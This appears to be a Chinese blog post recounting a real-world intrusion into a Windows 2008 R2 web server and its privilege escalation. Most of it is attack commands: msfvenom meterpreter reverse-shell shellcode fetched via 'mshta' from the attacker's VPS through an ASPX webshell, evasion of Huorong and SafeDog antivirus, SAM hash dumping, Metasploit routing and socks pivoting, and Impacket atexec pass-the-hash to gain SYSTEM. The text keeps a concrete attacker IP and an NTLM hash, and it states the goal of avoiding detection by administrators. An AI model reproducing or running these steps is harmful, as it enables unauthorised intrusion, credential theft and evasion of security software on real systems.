记一次绕过火绒安全提权实战案例
0x01 前言
0x02 服务器基本信息搜集
目标系统:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
当前权限:iis apppool\*****.com
支持脚本:ASP、ASPX、PHP,能够直接执行系统命令
开放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService)
进程名称:G6FTPServer.exe、G6FTPTray.exe、HwsHostPanel.exe、mysqld.exe、php-cgi.exe、SafeDogUpdateCenter.exe、CloudHelper.exe、SafeDogGuardCenter.exe、SafeDogTray.exe、SafeDogGuardHelper.exe、SafeDogGuardHelper.exe、HipsTray.exe、HipsDaemon.exe、usysdiag.exe
服务器上运行的有:火绒、护卫神主机大师、服务器安全狗、MySQL数据库和G6FTP,可以尝试提权方式有:护卫神主机大师、MySQL和G6FTP,不过在提权过程中得注意下火绒和服务器安全狗的查杀和拦截,尽可能的避免被管理员发现。
0x03 绕过火绒获取MSF会话
[root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin
[root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 155.**.***.16
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > exploit
python -m SimpleHTTPServer 8888
python3 -m http.server 8888
0x04 SAM注册表项导出哈希
meterpreter > getuid
meterpreter > load powershell
meterpreter > powershell_shell
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List
meterpreter > run post/windows/gather/hashdump
0x05 atexec提升System权限
WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;
Impacket:
psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);
利用方式:
Local本地执行 、Socks4/5代理 、Metasploit虚拟路由表;
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run
[ ]
[root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run
0x06 总结
1.通过格拉斯成功连接一句话
2.执行systeminfo 命令发现目录时windows2008r2 SP1
3.执行命令whoami发现iis权限,执行netstat -ano,发现21,80,445,801,3306,等端口开放
4.通过执行命令tasklist/svc,通过在线杀软进程对比,发现目标系统中存在护卫神,火绒,安全狗防护软件
以及数据库mysql和G6FTP
5.执行以下命令生成shellcode并执行监听
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16 lport=443 -f raw > /tmp/shellcode.bin
6.查看shellcode.bin代码并通过base64输出代码
cat /tmp/shellcode.bin | base64 -w 0
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 155.124.145.16
msf6 > set lport 443
msf6 > exploit
7.自定义新建exp.hta,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可。
<script language="VBScript">
Dim binary:binary="rundll32.exe"
dim code:code=
"shecode.bin内容的base64"
8.接着在VPS上用Python开启一个临时Web用于远程调用
python -m SimpleHTTPServer 8888
python3 -m http.server 8888
9.通过格拉斯上传APX大马,在ASPX大马的命令中执行
cmdpath:
c:\windows\system32\cmd.exe
argument:
/c mshta http://155.124.145.16/exp.hta
10.当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。
meterpreter > getuid
meterpreter > load powershell
meterpreter > powershell_shell
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List
meterpreter > run post/windows/gather/hashdump
11.已经利用SAM注册表项权限问题导出了主机哈希,但是解密不出来
12.这里我们先将当前MSF会话添加进虚拟路由
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
13.使用socks_proxy模块开启一个socks5代理,。
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run
14.Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子。
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf
15.利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功
proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"
16.另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEM
msf6 auxiliary(server/socks_proxy) >sessions -i 1
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run